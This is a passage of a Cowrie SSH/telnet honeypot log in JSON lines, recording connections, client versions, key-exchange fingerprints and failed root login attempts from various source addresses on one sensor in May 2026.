05@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:11.507184Z","src_ip":"80.66.85.226","session":"a2f96d60fec1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"warriors","message":"login attempt [root/warriors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:11.776348Z","src_ip":"80.66.85.226","session":"a2f96d60fec1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:12.868280Z","src_ip":"80.66.85.226","session":"a2f96d60fec1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":53046,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b26f3fab30","protocol":"telnet","message":"New connection: 79.139.59.21:53046 (159.203.135.109:23) [session: d7b26f3fab30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:27.428404Z"}
{"eventid":"cowrie.session.closed","duration":26.486040592193604,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:52:53.914338Z","src_ip":"79.139.59.21","session":"d7b26f3fab30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":55580,"dst_ip":"159.203.135.109","dst_port":23,"session":"4127273233b8","protocol":"telnet","message":"New connection: 79.139.59.21:55580 (159.203.135.109:23) [session: 4127273233b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:53:07.714433Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":40058,"dst_ip":"159.203.135.109","dst_port":23,"session":"126313ad825a","protocol":"telnet","message":"New connection: 69.4.83.194:40058 (159.203.135.109:23) [session: 126313ad825a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:53:57.673992Z"}
{"eventid":"cowrie.session.closed","duration":35.990487813949585,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:33.664353Z","src_ip":"69.4.83.194","session":"126313ad825a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.146","src_port":54235,"dst_ip":"159.203.135.109","dst_port":22,"session":"105f6bd9eda7","protocol":"ssh","message":"New connection: 104.152.52.146:54235 (159.203.135.109:22) [session: 105f6bd9eda7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.636013Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\u0012i\\xfc\\xf7\\xb3\\xe7\\xb7\u0003\\xd8=\\xd8T\\xe9\u0004\\xc8\\xc8\\xeb\\xbf(%R\\x90\u0005[jLCb\\x81\\xed\\x83\\xe4 \\xa8\\xf3\\x85SsB\\xb9(\"\\x97$Qx|\\x86\\x931\\xad\\xdf\b\\x90\\xf8|\\xb7\\xab\\\\x95\u000f;\\xddf\\xb3\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003\u0012i\\xfc\\xf7\\xb3\\xe7\\xb7\u0003\\xd8=\\xd8T\\xe9\u0004\\xc8\\xc8\\xeb\\xbf(%R\\x90\u0005[jLCb\\x81\\xed\\x83\\xe4 \\xa8\\xf3\\x85SsB\\xb9(\"\\x97$Qx|\\x86\\x931\\xad\\xdf\b\\x90\\xf8|\\xb7\\xab\\\\x95\u000f;\\xddf\\xb3\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.640669Z","src_ip":"104.152.52.146","session":"105f6bd9eda7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.648065Z","src_ip":"104.152.52.146","session":"105f6bd9eda7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.125","src_port":44543,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d1acbf554df","protocol":"ssh","message":"New connection: 104.152.52.125:44543 (159.203.135.109:22) [session: 1d1acbf554df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.707028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.712876Z","src_ip":"104.152.52.125","session":"1d1acbf554df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.735858Z","src_ip":"104.152.52.125","session":"1d1acbf554df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:54:54.762745Z","src_ip":"104.152.52.125","session":"1d1acbf554df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00297594070435,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:55:07.717201Z","src_ip":"79.139.59.21","session":"4127273233b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":47020,"dst_ip":"159.203.135.109","dst_port":23,"session":"046c66ad764a","protocol":"telnet","message":"New connection: 69.4.83.194:47020 (159.203.135.109:23) [session: 046c66ad764a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:56:40.326846Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":43740,"dst_ip":"10.17.0.5","dst_port":22,"session":"21c3273c38b5","protocol":"ssh","message":"New connection: 172.245.225.106:43740 (10.17.0.5:22) [session: 21c3273c38b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.215841Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.220344Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.263772Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"28:7e:3b:79:b8:0c:d0:d6:e2:ad:71:0a:84:18:89:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuE8nD3KjAjRmmPLk0K7kij96U69shqguKz33HiAe97tEMNH4KeQaSZMWg1u4Sw04PpdB3MigubBUj4viXJpT02bogQ3b8ydNYZMQ+udsq6+CY7gbLbKJGevAgoQfmIs83e6Mx2Am3yHRFjNpCbpZy303Mva06xBRE76204q+euTbzf++UJz4peZHUSpspIyC+UAu/VpzufyZqFp29upqPZ9FFRIhwE7N+Y5VNa4Jo+T5Dn3KUFmiAsR/Ek77FIBTHpDWkRUNy5xHe1QoqZW9vy1pgQwV8EGkYlCwPmPeo+naWPSKPjRsCqTuK/Faf6Ng04RWRH9C+OcbGRGCJwqiqw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 28:7e:3b:79:b8:0c:d0:d6:e2:ad:71:0a:84:18:89:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.469266Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"28:7e:3b:79:b8:0c:d0:d6:e2:ad:71:0a:84:18:89:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuE8nD3KjAjRmmPLk0K7kij96U69shqguKz33HiAe97tEMNH4KeQaSZMWg1u4Sw04PpdB3MigubBUj4viXJpT02bogQ3b8ydNYZMQ+udsq6+CY7gbLbKJGevAgoQfmIs83e6Mx2Am3yHRFjNpCbpZy303Mva06xBRE76204q+euTbzf++UJz4peZHUSpspIyC+UAu/VpzufyZqFp29upqPZ9FFRIhwE7N+Y5VNa4Jo+T5Dn3KUFmiAsR/Ek77FIBTHpDWkRUNy5xHe1QoqZW9vy1pgQwV8EGkYlCwPmPeo+naWPSKPjRsCqTuK/Faf6Ng04RWRH9C+OcbGRGCJwqiqw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.476653Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"49:50:30:46:ac:e0:ae:7a:ee:9c:d1:e9:95:90:b1:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7y9biChMnKdXn2Jc4mogoRosMFt88fvS0LEG/hHDTNlUkdwq/rTK9zkEn8mBTEsp1/VfMVfHf0LQ6Qgzn1QPUvSpNCGZeotBRPKsq1m0ynzGHCV7zKsDTnFdVp1OYs7o1naMVpvPtXiJwA0LNUWgFxbQlistOKM5cCE+Dqp2Y6Rhh5icDHHh/7tJGUs9YESakHMMAQPR1j42xpAHb8aW+si/cj8L4g/wurQyunxYOxSshp8ZneK+G+yau2UexnCrFUpjGW1GnK+/Czb/knxhZYQUlxQrtZlPXW8yBU0XMeSS2CPIcTKTtyxVLyLKEj6u8CQ5KvZK9FURZQYbHNpY7yjDNutMB4OeXORPxBT/Jf6skNILn+p73SZxY2TL/TUAVyLFsvd5dLgBKzlRgDXVmZC1MgdexQAoFe9F73Kf6/62BQ9cxyTKMTkXe7XcZ8C5ehrPR4pL/yyxiMSCi0yce8AyCEurLX2EI6QdjxlPyhtWL2ctaikJJcsSWhUkWZ+gpuzmr+jhlt2CAbc6WE1ijcNWBOFUAF7vl1tGUgq4oIfY0inPIF4esrErObqmxOR2UnIbFQmDjYCV553212Qh+V2FF2JYvHeTHnbBGri7l379vBK8Tf6XEsf7pY+6LmWpZMl8UaQHh2CKC4eiEcATiYQ4sZTGFnOkMvW4P5l9usw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 49:50:30:46:ac:e0:ae:7a:ee:9c:d1:e9:95:90:b1:00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.520540Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"49:50:30:46:ac:e0:ae:7a:ee:9c:d1:e9:95:90:b1:00","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC7y9biChMnKdXn2Jc4mogoRosMFt88fvS0LEG/hHDTNlUkdwq/rTK9zkEn8mBTEsp1/VfMVfHf0LQ6Qgzn1QPUvSpNCGZeotBRPKsq1m0ynzGHCV7zKsDTnFdVp1OYs7o1naMVpvPtXiJwA0LNUWgFxbQlistOKM5cCE+Dqp2Y6Rhh5icDHHh/7tJGUs9YESakHMMAQPR1j42xpAHb8aW+si/cj8L4g/wurQyunxYOxSshp8ZneK+G+yau2UexnCrFUpjGW1GnK+/Czb/knxhZYQUlxQrtZlPXW8yBU0XMeSS2CPIcTKTtyxVLyLKEj6u8CQ5KvZK9FURZQYbHNpY7yjDNutMB4OeXORPxBT/Jf6skNILn+p73SZxY2TL/TUAVyLFsvd5dLgBKzlRgDXVmZC1MgdexQAoFe9F73Kf6/62BQ9cxyTKMTkXe7XcZ8C5ehrPR4pL/yyxiMSCi0yce8AyCEurLX2EI6QdjxlPyhtWL2ctaikJJcsSWhUkWZ+gpuzmr+jhlt2CAbc6WE1ijcNWBOFUAF7vl1tGUgq4oIfY0inPIF4esrErObqmxOR2UnIbFQmDjYCV553212Qh+V2FF2JYvHeTHnbBGri7l379vBK8Tf6XEsf7pY+6LmWpZMl8UaQHh2CKC4eiEcATiYQ4sZTGFnOkMvW4P5l9usw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.524861Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrC5kY20cf9hFe9Bw5stpLKfe2KAsM302C+L119QircBB2DJEb9n71mCkRT6nnPPhYPnqPacmRLt0cb1l+h/WpzYU13Pjx1Sfq5gStBqjjyUFLwZO79XmxK3koGqV2o+akDTpu0Jgrpmvvj7ycwbW7LJi/uyyHV+lXZnXMp2c7e69+YwEePBpwdJZk54V843h+KC3d7c7LgCDAa6DC0/4pVxf0BBNORbAFfyStd5X/ZEsCKRS0fdAi4b5mU1ALWypTLE2/VfmXZGAQ+dpEGxJ8yuli8eeuKcCaW+HdQSp3vhk20UOrcfQPV4SFkT4y9FRtDHyJipjZ8Adz3K7Tobhl","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.569067Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:10:b6:ef:74:e8:45:ab:27:a4:62:ec:0f:7a:7d:62","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrC5kY20cf9hFe9Bw5stpLKfe2KAsM302C+L119QircBB2DJEb9n71mCkRT6nnPPhYPnqPacmRLt0cb1l+h/WpzYU13Pjx1Sfq5gStBqjjyUFLwZO79XmxK3koGqV2o+akDTpu0Jgrpmvvj7ycwbW7LJi/uyyHV+lXZnXMp2c7e69+YwEePBpwdJZk54V843h+KC3d7c7LgCDAa6DC0/4pVxf0BBNORbAFfyStd5X/ZEsCKRS0fdAi4b5mU1ALWypTLE2/VfmXZGAQ+dpEGxJ8yuli8eeuKcCaW+HdQSp3vhk20UOrcfQPV4SFkT4y9FRtDHyJipjZ8Adz3K7Tobhl","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.573097Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:a5:5c:32:9d:0b:1f:0a:b8:e4:65:d0:8f:83:85:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTqJofvpFJVVxPZHqprz79zv4Ic9DGVujCv9VcnHyBuQDv0tpRqF3agsd6bYm+J44bbfZ4mHfxnnUN7ggLKEmGkxqTitxo3Uz29gvz6lntK90Uk6u2A4flKevlg9ozwkzQaoQEnNe/rTHDPW+a9x+SGcMCKipP0Frw0kzVtGHv4UxEUVSu1bxRP1MtupLEH4j3OTi2PJ42xRK0GobqdvcD5bMFylMStnrlyjFyz4ltZdkWXvCRCEBfuB8KgsDr1YnAJmXs0X3jouSTruPyFok3HHCl4LHsTuZL5gaksegORKicHm4gafLLcC/vfl62z8RXdskeeiPQTuJDNoMweJMd","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8a:a5:5c:32:9d:0b:1f:0a:b8:e4:65:d0:8f:83:85:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.617945Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:a5:5c:32:9d:0b:1f:0a:b8:e4:65:d0:8f:83:85:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTqJofvpFJVVxPZHqprz79zv4Ic9DGVujCv9VcnHyBuQDv0tpRqF3agsd6bYm+J44bbfZ4mHfxnnUN7ggLKEmGkxqTitxo3Uz29gvz6lntK90Uk6u2A4flKevlg9ozwkzQaoQEnNe/rTHDPW+a9x+SGcMCKipP0Frw0kzVtGHv4UxEUVSu1bxRP1MtupLEH4j3OTi2PJ42xRK0GobqdvcD5bMFylMStnrlyjFyz4ltZdkWXvCRCEBfuB8KgsDr1YnAJmXs0X3jouSTruPyFok3HHCl4LHsTuZL5gaksegORKicHm4gafLLcC/vfl62z8RXdskeeiPQTuJDNoMweJMd","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.621450Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:f9:84:de:b7:b7:45:d0:76:35:cb:13:bb:55:4f:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmWEavbq/xwVLv5tqK+R5gJdkyOxBwc+GaSGbZwNkDVCMgCAHl6hs/CZim3mKkE4taIySdsEHfpiHF98Wypd+GZBIgirLHDT7MsZ+3hpA/3/1kZUJxB544PFPcJ03PMKxh+pCfUSnyoQJjigCpMXnePkm/b9VeDfyEE9Fw/5cejusP9jwe1qxR4vCVVTyK1wZh5Jf6tedv7sG/+xEWxKW1q3MkTUgbM/qDOZs0KJ05Kh0v+UmmxoJSL3kjqSyVmST3zajHhtiVW5W55U+4ALgCp/uhs068aJHZFd9m6M/GiMUerA1KxGfl8/3tNZxHt66CXmKUYmzMEAWkQNvKVtG2hv8BjNZslz6/MejTGYJzc/MCc3TbUnxh9H3VxlVVwy+JPTk/CfzkdhfsuMvrP6F1XmkeGwz+GpYLGEv+3M8nFDEadPqt8SwU/zZU3hwoRaISSyaP7yxsHspFm94N708gGPdedWwqripqWPBzKNpJMhfX9Iu8Ze68W8tnFI2UYd0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:f9:84:de:b7:b7:45:d0:76:35:cb:13:bb:55:4f:ae","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.666604Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:f9:84:de:b7:b7:45:d0:76:35:cb:13:bb:55:4f:ae","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDmWEavbq/xwVLv5tqK+R5gJdkyOxBwc+GaSGbZwNkDVCMgCAHl6hs/CZim3mKkE4taIySdsEHfpiHF98Wypd+GZBIgirLHDT7MsZ+3hpA/3/1kZUJxB544PFPcJ03PMKxh+pCfUSnyoQJjigCpMXnePkm/b9VeDfyEE9Fw/5cejusP9jwe1qxR4vCVVTyK1wZh5Jf6tedv7sG/+xEWxKW1q3MkTUgbM/qDOZs0KJ05Kh0v+UmmxoJSL3kjqSyVmST3zajHhtiVW5W55U+4ALgCp/uhs068aJHZFd9m6M/GiMUerA1KxGfl8/3tNZxHt66CXmKUYmzMEAWkQNvKVtG2hv8BjNZslz6/MejTGYJzc/MCc3TbUnxh9H3VxlVVwy+JPTk/CfzkdhfsuMvrP6F1XmkeGwz+GpYLGEv+3M8nFDEadPqt8SwU/zZU3hwoRaISSyaP7yxsHspFm94N708gGPdedWwqripqWPBzKNpJMhfX9Iu8Ze68W8tnFI2UYd0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.670579Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:11.714419Z","src_ip":"172.245.225.106","session":"21c3273c38b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.20979404449463,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:14.536482Z","src_ip":"69.4.83.194","session":"046c66ad764a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51510,"dst_ip":"159.203.135.109","dst_port":22,"session":"c25c2c2a6557","protocol":"ssh","message":"New connection: 103.77.242.62:51510 (159.203.135.109:22) [session: c25c2c2a6557]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:16.942337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:57:16.947746Z","src_ip":"103.77.242.62","session":"c25c2c2a6557","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","